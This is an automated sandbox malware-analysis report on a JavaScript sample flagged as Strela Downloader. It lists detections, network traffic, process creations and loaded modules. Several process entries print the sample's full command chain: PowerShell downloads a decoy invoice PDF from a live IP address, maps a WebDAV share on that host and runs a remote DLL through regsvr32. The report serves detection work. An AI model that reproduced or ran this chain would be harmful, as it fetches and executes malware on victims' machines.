Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2060428698.0000025EA57A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2163669714.00000268B73B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163669714.00000268B73F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163669714.00000268B740E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3354096845.0000028A61200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2166781537.0000028A610A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 360, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 28091322483050023072.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1120:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2s01z0rj.50k.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1792,i,5285595504766406101,835774247226273641,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1792,i,5285595504766406101,835774247226273641,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
